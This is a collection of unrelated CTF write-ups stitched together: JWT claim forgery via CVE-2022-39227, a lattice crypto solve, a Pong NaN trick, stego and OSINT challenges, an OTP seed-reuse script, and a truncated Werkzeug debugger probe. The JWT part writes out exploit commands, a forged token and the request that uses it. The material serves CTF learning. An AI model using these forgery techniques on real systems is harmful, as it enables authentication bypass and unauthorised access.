eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODA5MTcsImlhdCI6MTcxMDA3NzMxNywianRpIjoiUkdjaHZFZVBNZFJYRlpQR2hHT0pOUSIsIm5iZiI6MTcxMDA3NzMxNywicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.Vzxw0lMT-Gbr6TaxLw5_rge7mYRpBvl2D1D1h8pUymROJML9BeYnbp0j1G2qUgWk2SMJTB43dt5nNb7z3mjK_Oe7RwLHTHhCxxyAjO3z4U2XhpmRhXm6YYALZELFY00Kv0yJvqlshFdnOgK0VnU3ziiUJvJRpRL4WHpMVspAHPyf6YHcgDiWyJua5-3nGog1bYcQy9CuxYKTfeXhVRBzsyyOoJII0EggDJIzfadf1OXh2MzGrkaXCghe8Whb9VGsrBRDGsELc2p0UOBAljJuKaPS2RtheX2-Kb8RAQ_ZtD_XQm0RD2HhFOyRRhSyRXmvsj2m3vT34z5Ix8nG4SZb8Q Token header values:[+] alg = "PS256"[+] typ = "JWT" Token payload values:[+] exp = 1710080917 ==> TIMESTAMP = 2024-03-10 14:28:37 (UTC)[+] iat = 1710077317 ==> TIMESTAMP = 2024-03-10 13:28:37 (UTC)[+] jti = "RGchvEePMdRXFZPGhGOJNQ"[+] nbf = 1710077317 ==> TIMESTAMP = 2024-03-10 13:28:37 (UTC)[+] role = "guest"[+] user = "guest_user" Seen timestamps:[*] exp was seen[*] iat is earlier than exp by: 0 days, 1 hours, 0 mins[*] nbf is earlier than exp by: 0 days, 1 hours, 0 mins ----------------------JWT common timestamps:iat = IssuedAtexp = Expiresnbf = NotBefore----------------------``` We're unable to crack secret due to an error: `Algorithm is not HMAC-SHA - cannot test against passwords, try the Verify function.` If we simply change role to `administrator` and sign with the `none` algorithm: `algorithm not allowed: none`. Similarly, trying to sign with a null key using the [JWT editor burp extension](https://github.com/PortSwigger/jwt-editor) returns `algorithm not allowed: HS256`, but there's no `PS256` option for us to experiment with. We can try and generate a key. ```bashopenssl genpkey -algorithm RSA -out private.pemopenssl rsa -pubout -in private.pem -out public.pem``` Then try to tamper (inject claim) and sign it with `PSS RSA` using the `jwt_tool` (great [wiki](https://github.com/ticarpi/jwt_tool/wiki)). ```bashjwt_tool eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODMzNDksImlhdCI6MTcxMDA3OTc0OSwianRpIjoiR0pSLTJuS0JyV0VrMDNkdXNiOVRlZyIsIm5iZiI6MTcxMDA3OTc0OSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.IpTbfdY4bYGT0hLw9phgJlZVPAmBvze7KwY86jytKyqrSnIBZpUX_XG_oC8UUfUA8DCDZvsZteO1_QKLNqn2UHyDoVAdz0GUEMu8mTnM_CCxJ6jpfuI66cGWjyHJoQKYGhjLaC3ETJYMv38bCBKVUw2j5JgE_sJB-iMgcE-4EgDOfV_988bcGmWUbRoSEzFOTDLbhf15SkKEPnVIdCz00YKHJLJzMoFbGJimRcQTSXGlanfPOGao1V7r_d5VgntGELcuNuJpsq00rXLShsoRc1DXPvhtf_OVxvpQGo893UNUGAjHIPjhZZDA-sH_iyOC68Lf4NOBgUInxlkiN65tUg -I -pc role -pv administrator -S ps256 -pr private.pem``` It does not work: `Verification failed for all signatures[\"Failed: [InvalidJWSSignature('Verification failed')]\"]` OK, enough black box testing. We can check the source code and understand why this would fail; they generate their own key in `config.py`. Of course ours is not valid. ```pythonJWT_SECRET_KEY = jwk.JWK.generate(kty='RSA', size=2048)``` We can see how they generate the JWTs in `routes.py`. ```pythontoken = jwt.generate_jwt(claims, current_app.config.get('JWT_SECRET_KEY'), 'PS256', datetime.timedelta(minutes=60))``` Finally, we confirm that the `/flag` route is only accessible using the `administrator` role. ```python@api_blueprint.route('/flag', methods=['GET'])@authorize_roles(['administrator'])def flag(): return jsonify({'message': current_app.config.get('FLAG')}), 200``` I decided to look for any recent vulnerabilities in the [python-jwt](https://pypi.org/project/python-jwt/) package. > **Note:** Versions 3.3.4 and later fix a [vulnerability](https://github.com/davedoesdev/python-jwt/security/advisories/GHSA-5p8v-58qm-c7fp) (CVE-2022-39227) in JSON Web Token verification which lets an attacker with a valid token re-use its signature with modified claims. CVE to follow. Please upgrade! You don't say? That's exactly what we'd like to do! Let's check the [CVE-2022-39227 advisory](https://github.com/davedoesdev/python-jwt/security/advisories/GHSA-5p8v-58qm-c7fp) > An attacker who obtains a JWT can **arbitrarily forge its contents without knowing the secret key**. Depending on the application, this may for example enable the attacker to spoof other user's identities, hijack their sessions, or bypass authentication. It doesn't explain _how_ to forge a JWT but there are some accompanying [unit tests](https://github.com/davedoesdev/python-jwt/blob/master/test/vulnerability_vows.py) ```python""" Test claim forgery vulnerability fix """from datetime import timedeltafrom json import loads, dumpsfrom test.common import generated_keysfrom test import python_jwt as jwtfrom pyvows import Vows, expectfrom jwcrypto.common import base64url_decode, base64url_encode @Vows.batchclass ForgedClaims(Vows.Context): """ Check we get an error when payload is forged using mix of compact and JSON formats """ def topic(self): """ Generate token """ payload = {'sub': 'alice'} return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)) class PolyglotToken(Vows.Context): """ Make a forged token """ def topic(self, topic): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) parsed_payload['sub'] = 'bob' parsed_payload['exp'] = 2000000000 fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' class Verify(Vows.Context): """ Check the forged token fails to verify """ @Vows.capture_error def topic(self, topic): """ Verify the forged token """ return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256']) def token_should_not_verify(self, r): """ Check the token doesn't verify due to mixed format being detected """ expect(r).to_be_an_error() expect(str(r)).to_equal('invalid JWT format')``` I started to build a custom script but had lots of python package issues and ended up finding a pre-existing [PoC](https://github.com/user0x1337/CVE-2022-39227) instead. ```bashpython exploit.py -j "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.kwkl8iEwG9TQW3ZAHvAssvlQbjNbwtUPlA06IPV0P6aIQLrhlMWnx5wOp-i4HcZzGCaqq72ib6PconjjHMc1nZonAkebESLL-41P78xgGqiftwyZIzZc9QN2KktcbeapFpkCeDb8CAVMDDEx7eEuuOHgozWgVUzuYUk5pWRJrOfqyAPSHmvN9gm14_DPqRbOFviNq5o8Uw9UFLE8djJM0uDR7LHvKLIiFqikGJ52aHrLNRQqAw927uyPQ_EvH0ldpHi9Y6jkyWuImTK8f43JhxyBJPUOQXnwNaGP9ukf9zWlvYK4ZLp27b41HZFAWBNRMxDdpHUn4ARM__v8h8B9gw" -i "role=administrator"[+] Retrieved base64 encoded payload: eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ[+] Decoded payload: {'exp': 1710085391, 'iat': 1710081791, 'jti': 'beH5fPnzYFYY5CAEWO-ZuA', 'nbf': 1710081791, 'role': 'guest', 'user': 'guest_user'}[+] Inject new "fake" payload: {'exp': 1710085391, 'iat': 1710081791, 'jti': 'beH5fPnzYFYY5CAEWO-ZuA', 'nbf': 1710081791, 'role': 'administrator', 'user': 'guest_user'}[+] Fake payload encoded: eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9 [+] New token: {" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"kwkl8iEwG9TQW3ZAHvAssvlQbjNbwtUPlA06IPV0P6aIQLrhlMWnx5wOp-i4HcZzGCaqq72ib6PconjjHMc1nZonAkebESLL-41P78xgGqiftwyZIzZc9QN2KktcbeapFpkCeDb8CAVMDDEx7eEuuOHgozWgVUzuYUk5pWRJrOfqyAPSHmvN9gm14_DPqRbOFviNq5o8Uw9UFLE8djJM0uDR7LHvKLIiFqikGJ52aHrLNRQqAw927uyPQ_EvH0ldpHi9Y6jkyWuImTK8f43JhxyBJPUOQXnwNaGP9ukf9zWlvYK4ZLp27b41HZFAWBNRMxDdpHUn4ARM__v8h8B9gw"} Example (HTTP-Cookie):------------------------------auth={" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"kwkl8iEwG9TQW3ZAHvAssvlQbjNbwtUPlA06IPV0P6aIQLrhlMWnx5wOp-i4HcZzGCaqq72ib6PconjjHMc1nZonAkebESLL-41P78xgGqiftwyZIzZc9QN2KktcbeapFpkCeDb8CAVMDDEx7eEuuOHgozWgVUzuYUk5pWRJrOfqyAPSHmvN9gm14_DPqRbOFviNq5o8Uw9UFLE8djJM0uDR7LHvKLIiFqikGJ52aHrLNRQqAw927uyPQ_EvH0ldpHi9Y6jkyWuImTK8f43JhxyBJPUOQXnwNaGP9ukf9zWlvYK4ZLp27b41HZFAWBNRMxDdpHUn4ARM__v8h8B9gw"}``` Now, we just send the tampered token to the `/flag` endpoint in burp repeater and receive the flag. ```bashGET /api/v1/flag HTTP/1.1Host: 127.0.0.1:1337User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brReferer: http://127.0.0.1:1337/Authorization: {" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAwODUzOTEsImlhdCI6MTcxMDA4MTc5MSwianRpIjoiYmVINWZQbnpZRllZNUNBRVdPLVp1QSIsIm5iZiI6MTcxMDA4MTc5MSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"kwkl8iEwG9TQW3ZAHvAssvlQbjNbwtUPlA06IPV0P6aIQLrhlMWnx5wOp-i4HcZzGCaqq72ib6PconjjHMc1nZonAkebESLL-41P78xgGqiftwyZIzZc9QN2KktcbeapFpkCeDb8CAVMDDEx7eEuuOHgozWgVUzuYUk5pWRJrOfqyAPSHmvN9gm14_DPqRbOFviNq5o8Uw9UFLE8djJM0uDR7LHvKLIiFqikGJ52aHrLNRQqAw927uyPQ_EvH0ldpHi9Y6jkyWuImTK8f43JhxyBJPUOQXnwNaGP9ukf9zWlvYK4ZLp27b41HZFAWBNRMxDdpHUn4ARM__v8h8B9gw"}X-Requested-With: XMLHttpRequestDNT: 1Connection: closeSec-GPC: 1``` Flag: `HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}`
# Honey> ### Difficulty: Medium>> [Honey](https://cr.yp.toc.tf/tasks/honey_fadbdf04ae322e5a147ef6d10a0fe9bd35d7c5db.txz) is a concealed cryptographic algorithm designed to provide secure encryption for sensitive messages. ## Initial analysis```py#!/usr/bin/env python3 from Crypto.Util.number import *from math import sqrtfrom flag import flag def gen_params(nbit): p, Q, R, S = getPrime(nbit), [], [], [] d = int(sqrt(nbit << 1)) for _ in range(d): Q.append(getRandomRange(1, p - 1)) R.append(getRandomRange(0, p - 1)) S.append(getRandomRange(0, p - 1)) return p, Q, R, S def encrypt(m, params): p, Q, R, S = params assert m < p d = int(sqrt(p.bit_length() << 1)) C = [] for _ in range(d): r, s = [getRandomNBitInteger(d) for _ in '01'] c = Q[_] * m + r * R[_] + s * S[_] C.append(c % p) return C nbit = 512params = gen_params(512)m = bytes_to_long(flag)C = encrypt(m, params)f = open('params_enc.txt', 'w')f.write(f'p = {params[0]}\n')f.write(f'Q = {params[1]}\n')f.write(f'R = {params[2]}\n')f.write(f'S = {params[3]}\n')f.write(f'C = {C}')f.close()```The calculates generates $d$ (32) numbers $C_i \equiv Q_im + R_i r_i + S_i s_i\ (mod\ p)$ where $p$ is a 512-bit prime, $C_i$, $Q_i$, $R_i$ and $S_i$ are known (the latter 3 are also known to be 512-bit), $m$ is the flag and $r_i$ and $s_i$ are 32-bit and unknown. This is an instance of the hidden number problem with 2 holes. A method to reduce this problem to an instance of hidden number problem or extended hidden number problem has been described in [[^1]]. Another papers that proved to be useful while solving this challenge are [[^2]] and [[^3]]. ## Reducing HNP-2H to HNPTo perform this reduction, we'll follow theorem 3 from [[^1]]. Note that $N$ correpsonds to $p$, $\alpha_i$ to $Q_i$, $\rho_{i,1}$ to $R_i$, $\rho_{i,2}$ to $S_i$, $\beta_i$ to $C_i$, $x$ to $m$, and finally $k_{i,1}$ and $k_{i,2}$ to $r_i$ and $s_i$. Additionally, $\mu_1 = \mu_2 = 32$ and $B_{min} = p^{\frac{1}{2}}2^\frac{32 - 32}{2} = \sqrt{p}$. First step is to calculate $\lambda_{i, B_{min}}$. For that, lemma 16 from [[^2]] can be used. $A$ is defined in theorem 3 of [[^1]] as $R_i^{-1}S_i$ and $B$ is $B_{min}$. The following SageMath code will calculate $\lambda$ given $A$, $B$ and $p$:```pydef calculate_lambda(A, B, p): cf = (A/p).continued_fraction() lm = None for i in range(cf.length()): if cf.denominator(i) < B and B <= cf.denominator(i + 1): lm = cf.denominator(i) break assert lm is not None return lm``` Now we can calculate the values of $\alpha''_i$ and $\beta''_i$ using formulas from theorem 3 of [[^1]] and store them in 2 lists for later use. ## Solving HNPNow we can use definition 4.10 from [[^3]] to solve the hidden number problem. We'll use Kannan's embedding method. The numbers $a_i$ from this definition correspond to our $\beta''_i$, while $t_i$ correspond to $-\alpha''_i$. Note that the number $B$ in this definition is the upper bound on $k'_i$ from theorem 3 of [[^1]], that is $\sqrt{p}2^{34}$. ## Full scriptThe complete script with the solution is available in [solve.sage](./solve.sage) ## Flag`CCTF{3X7eNdED_H!dD3n_nNm8eR_pR0Bl3m_iN_CCTF!!}` [^1]: Hlaváč, M., Rosa, T. (2007). Extended Hidden Number Problem and Its Cryptanalytic Applications. In: Biham, E., Youssef, A.M. (eds) Selected Areas in Cryptography. SAC 2006. Lecture Notes in Computer Science, vol 4356. Springer, Berlin, Heidelberg. https://doi.org/10.1007/978-3-540-74462-7_9[^2]: Nguyen, Shparlinski The Insecurity of the Digital Signature Algorithm with Partially Known Nonces . J. Cryptology 15, 151–176 (2002). https://doi.org/10.1007/s00145-002-0021-3[^3]: Joseph Surin, & Shaanan Cohney. (2023). A Gentle Tutorial for Lattice-Based Cryptanalysis. https://eprint.iacr.org/2023/032
> I found this form but it doesn’t go anywhere! I was told I’d find the flag after I’d gone through enough form questions but I’ve answered the same question 20 times and I’m still on the same page… If we go to Google form, no matter how much we try to send the form, we cannot reach the flag.![](https://margheritaviola.com/wp-content/uploads/2024/04/image.png) If we look at the source code of the page, we can reach the flag.![](https://margheritaviola.com/wp-content/uploads/2024/04/image-1.png) ```swampCTF{F0rm5_K33p5_D4T4_H1dd3n}```
# LACTF 2023 ## pogn > Pogn in mong.> > Author: r2uwu2> > [`pogn.zip`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/web/pogn/pogn.zip) Tags: _web_ ## SolutionThe given web-app is a implementation of [`Pong`](https://en.wikipedia.org/wiki/Pong). The game runs on the server and the client only sends paddle movement for server calculation. The code is fairly simple, when the mouse moves the position `userPos` and and paddle velocity `v` are computed and send in a fixed interval. ![](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/web/pogn/pong.png) ```javascriptlet moved = false;let p_x = 0;let p_y = 0;let v = [0, 0];window.addEventListener('mousemove', (e) => { moved = true; const x = clamp(e.clientX, 0, innerWidth / 2 - 48); const y = e.clientY; userPaddle.style = `--x: ${x}px; --y: ${y}px`; userPos = viewportToServer([ x, y ]); v = viewportToServer([0.01 * (x - p_x), 0.01 * (y - p_y)]); p_x = x; p_y = y;});``` ```javascriptconst interval = setInterval(() => { if (!moved) return; ws.send(JSON.stringify([ Msg.CLIENT_UPDATE, [ userPos, v ] ])); }, 50);``` This being the only input should be our target to concentrate on. Velocity sounds somewhat interesting. If the velocity is used to control the ball speed, after collision with the players paddle, we could set it to something huge. But trying this doesnt work. So lets inspect the server code as well. When the server receives the client message the velocity vector is normalized. Thats the reason why a velocity scaled by a huge value doesn't really work here. Normalize though is defined as `const normalize = (v) => mul(v, 1 / norm(v));` and `norm` is defined as `const norm = ([x, y]) => Math.sqrt(x ** 2 + y ** 2);`. This is a typical issue in game-dev, since `norm` can return `0` for a `0-vector` this leads to a division by zero in `normalize` causing a `[NaN, NaN]` vector. ```javascriptws.on('message', (data) => { try { const msg = JSON.parse(data); if (msg[0] === Msg.CLIENT_UPDATE) { const [ paddle, paddleV ] = msg[1]; if (!isNumArray(paddle) || !isNumArray(paddleV)) return; op = [clamp(paddle[0], 0, 50), paddle[1]]; opV = mul(normalize(paddleV), 2); } } catch (e) {} });``` Manipulating the client code to send a `0-vector` as velocity gives us the flag. ```javascriptconst interval = setInterval(() => { if (!moved) return; ws.send(JSON.stringify([ Msg.CLIENT_UPDATE, [ userPos, [0,0] ] ])); }, 50)``` Flag `lactf{7_supp0s3_y0u_g0t_b3773r_NaNaNaN}`
### Stego - Omniscient ![Omniscient](https://github.com/zer00d4y/writeups/assets/128820441/571b6a77-6ef2-4a46-9bca-d6336364c01a) Use stegsolve or other tools and set `Alpha plane 1` mode Stegsolve: https://github.com/zer00d4y/stegsolve ![image](https://github.com/zer00d4y/writeups/assets/128820441/f373baee-8cdb-4be7-8b9b-e70c69556b54) FLAG: CODEBY{4nd_i_c4n_se3}
# Geosint 1 - L3akCTF 2024 The first thing we see that can be recognisable is the bridge in the far distance. ![initial image](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/geochall1_initial.png) If we take a picture of that bridge and upload it to [Google Lens](https://lens.google.com), it will inmediatly tell us it's the Verrazzano-Narrows Bridge, in New York, US. *For lazy people: take a screenshot selecting an area > copy to clipboard > open google lens and paste it (press ctrl+v) there* ![google lens results](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/google_lens3.png) Ok so if we check it on [Google Maps](https://maps.google.com), and we move around trying to get the same image as in the challenge, we get that the solution is near the green area close to the bridge. ![verrazzano bridge](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/geochall1_verrazanobridge.png)![solution image](https://github.com/hemiol14/writeups/raw/master/CTFs/L3akCTF2024/media/geochall1_solution.png) ⭐✨⭐✨⭐✨⭐✨⭐✨⭐✨⭐✨⭐ > Flag: **L3AK{Verr4zz4n0_Br1dge_1s_pR3tty_c00l}** ⭐✨⭐✨⭐✨⭐✨⭐✨⭐✨⭐✨⭐
[https://github.com/BaadMaro/CTF/tree/main/NahamCon%20CTF%202024/The%20Davinci%20Code](https://github.com/BaadMaro/CTF/tree/main/NahamCon%20CTF%202024/The%20Davinci%20Code)
Just copy and paste the text, you'll see the hidden flag there. ![image](https://github.com/zer00d4y/writeups/assets/128820441/58c9885c-789d-4b6a-8954-9496cb2f04d5) ![image](https://github.com/zer00d4y/writeups/assets/128820441/23bd8869-fce1-41b3-9ea5-011a56a0c7ff) FLAG: flag{1f68e019b29650f6e8ea15a7808f76fd}
> I need to study for a class but the quizlet I'm using has jumbled up answers that just don't make sense. Can you figure out how to read it?> > https://quizlet.com/882185739/sherlock-flash-cards/?funnelUUID=acf2df22-5f5c-4a67-9131-d0b6b18047df When we go to the Quizlet application, we see the Twitter link of the inventor. ![](https://margheritaviola.com/wp-content/uploads/2024/03/image-88.png) The Twitter account “Vigenère cipher! ? HACK” shows us what the answers on the cards are encrypted with and the encryption key. ![](https://margheritaviola.com/wp-content/uploads/2024/03/image-89.png) When we examine the card answers one by one, one stands out: the use of curly brackets. video [link](https://margheritaviola.com/2024/03/26/texsaw2024-osint-sherlock-writeup/). We decode the answers on the two cards using any Vigenere Cypher decoder. ![](https://margheritaviola.com/wp-content/uploads/2024/03/image-90-2048x948.png) ```texsaw{vig3n3r3_x!pher}```
# N0PSctf 2024 Broken OTP writeup ## Challenge description ![Challenge description](assets/Description2.png) ## Script : ```python import random secret = 'XXXXXXXXXXXXXXXXXXXX' PINK = 118RED = 101YELLOW = 97GREEN = 108BLACK = __builtins__PURPLE = dire = getattr(BLACK, bytes([RED, PINK, YELLOW, GREEN]).decode())g = e(''.__dir__()[4].strip('_')[:7])b = g(BLACK, PURPLE(BLACK)[92])i = g(BLACK, PURPLE(BLACK)[120])t = ['74696d65', '72616e646f6d', '5f5f696d706f72745f5f', '726f756e64', '73656564']d = lambda x: b.fromhex(x).decode()fb = g(i, PURPLE(i)[-6])_i = lambda x: e(d(t[2]))(x)s = lambda: g(BLACK,d(t[3]))(g(_i(d(t[0])), d(t[0]))()) + fb(secret.encode())r = g(_i(d(t[1])), d(t[4])) def kg(l): return bytes([random.randint(0,255) for i in range(l)]) def c(p): k = kg(len(p)) return bytes([k[i] ^ p[i] for i in range(len(p))]).hex() if __name__ == '__main__': r(s()) print("Welcome to our encryption service.") choice = input("Choose between:\n1. Encrypt your message.\n2. Get the encrypted secret.\nEnter your choice: ") match choice: case "1": message = input("Please enter the message you wish to encrypt: ") print(f"Your encrypted message is: {c(message.encode())}") case "2": print(f"The secret is: {c(secret.encode())}") case _: print("Invalid option!")``` First thing we need to do is understaning the code specialy with theese weird functions calls, for the better understanding i launched few of them in python (version 3.12) and i quickly understood that: `g` is generating timestamp: ```python>>> g(BLACK,d(t[3]))(g(_i(d(t[0])), d(t[0]))())1717433968``` `fb` is a bytes to long function ```python>>> fb(secret.encode())504361349353409634517350059917776100900870838360``` `s` is the addition of secret and timestamp `r` is a random initialisation with `s` as seed Cool it seems to be RNG problem, so after fixing the seed of the pseudo random, the script will give us 2 suggestions: - Encrypting a custom message - Encrypting the secret value The encreption function is an xor with key generated randomly in loop```pythondef kg(l): return bytes([random.randint(0,255) for i in range(l)]) def c(p): k = kg(len(p)) return bytes([k[i] ^ p[i] for i in range(len(p))]).hex()``` So first thing i did is to send `'\x00' * len(SECRET)` to the server to retrieve the key values for my current time, and i tried to recover the seed value using different tools like `randcrack` or `v8_rand_buster` but it didnt work for me Then i've got an idea, i said by myself the secret value is always the same and the time is in seconds so in theory if we open 2 sockets to the server in nearly the main time, the seed will be the same.. And all i have to do is xor the result of `xor(0-bytes)` wich gives us the key values with `xor(secret)` ## My script : ```pythonimport socket def xor(v,k): return bytes([v[i] ^ k[i] for i in range(len(v))]) #open first sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("0.cloud.chals.io", 33731)) #open second sockets2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2.connect(("0.cloud.chals.io", 33731)) data = s.recv(1200)data2 = s2.recv(1200) #send choice 1s.sendall(str(1).encode(encoding = 'UTF-8')+ b"\n")data = s.recv(1200)data = data.decode().split("\n") #send choice 2s2.sendall(str(2).encode(encoding = 'UTF-8')+ b"\n")data2 = s2.recv(1200)data2 = data2.decode().split("\n")[0].split(": ")[1] #encrypt neutral values.sendall(b"\x00"*19+ b"\n")data = s.recv(120000)data = data.decode().split("\n")[0].split(": ")[1] print(xor(bytes.fromhex(data),bytes.fromhex(data2)))```## Result :```b'N0PS{0tP_k3Y_r3u53}'```
The flag is at 3.23.56.243:9008. Unfortunately it seems like the site is down right now :( . Maybe you can ask someone for help? Don't blow up their inbox though :) and make sure you clearly tell them what you want. --- Visiting the [site](http://3.23.56.243:9008/), we are presented the following message, and nothing else: ```Website down! please contact IT for more information``` Checking /robots.txt, we find some info: ```USER AGENTS: *DISALLOW contactITDISALLOW countdown``` Visiting /contactIT, we get this message: ```Post:Json Request Only``` And /countdown returns some page with Pennywise in the background and the text "27 years." Heading into Burp Suite, we can send the request to /contactIT to the Repeater. Let's change the method to POST and resend the request: ```yamlPOST /contactIT HTTP/1.1Host: 3.23.56.243:9008Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Connection: close``` The response: ```htmlHTTP/1.1 415 UNSUPPORTED MEDIA TYPEServer: Werkzeug/3.0.1 Python/3.12.2Date: Sun, 24 Mar 2024 20:05:59 GMTContent-Type: text/html; charset=utf-8Content-Length: 215Connection: close <html lang=en><title>415 Unsupported Media Type</title><h1>Unsupported Media Type</h1>Did not attempt to load JSON data because the request Content-Type was not 'application/json'. Did not attempt to load JSON data because the request Content-Type was not 'application/json'. ``` Seems like we need to set the Content-Type header to "application/json". I also added some JSON into the data section to see if it'd produce a response: ```yamlPOST /contactIT HTTP/1.1Host: 3.23.56.243:9008Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Connection: closeContent-Length: 15Content-Type: application/json {"years": "27"}``` The response: ```htmlHTTP/1.1 500 INTERNAL SERVER ERRORServer: Werkzeug/3.0.1 Python/3.12.2Date: Sun, 24 Mar 2024 20:10:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 15591Connection: close <html lang=en> <head> <title>TypeError: argument of type 'NoneType' is not iterable // Werkzeug Debugger</title> <link rel="stylesheet" href="?__debugger__=yes&cmd=resource&f=style.css"> <link rel="shortcut icon" href="?__debugger__=yes&cmd=resource&f=console.png"> <script src="?__debugger__=yes&cmd=resource&f=debugger.js"></script> <script> var CONSOLE_MODE = false, EVALEX = true, EVALEX_TRUSTED = false, SECRET = "WYleT8qx5TNo2HMQyp6Q"; </script> </head> <body style="background-color: #fff"> <div class="debugger"><h1>TypeError</h1><div class="detail"> TypeError: argument of type 'NoneType' is not iterable</div><h2 class="traceback">Traceback <em>(most recent call last)</em></h2><div class="traceback"> <h3></h3> <div class="frame" id="frame-140077653438480"> <h4>File <cite class="filename">"/usr/local/lib/python3.12/site-packages/flask/app.py"</cite>, line <em class="line">1488</em>, in __call__</h4> <div class="source library"><span> </span>) -> cabc.Iterable[bytes]:<span> </span>"""The WSGI server calls the Flask application object as the<span> </span>WSGI application. This calls :meth:`wsgi_app`, which can be<span> </span>wrapped to apply middleware.<span> </span>"""<span> </span>return self.wsgi_app(environ, start_response)<span> </span> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</div></div> TypeError: argument of type 'NoneType' is not iterable <div class="frame" id="frame-140077653438624"> <h4>File <cite class="filename">"/usr/local/lib/python3.12/site-packages/flask/app.py"</cite>, line <em class="line">1466</em>, in wsgi_app</h4> <div class="source library"><span> </span>try:<span> </span>ctx.push()<span> </span>response = self.full_dispatch_request()<span> </span>except Exception as e:<span> </span>error = e<span> </span>response = self.handle_exception(e)<span> </span> ^^^^^^^^^^^^^^^^^^^^^^^^<span> </span>except: # noqa: B001<span> </span>error = sys.exc_info()[1]<span> </span>raise<span> </span>return response(environ, start_response)<span> </span>finally:</div></div> <div class="frame" 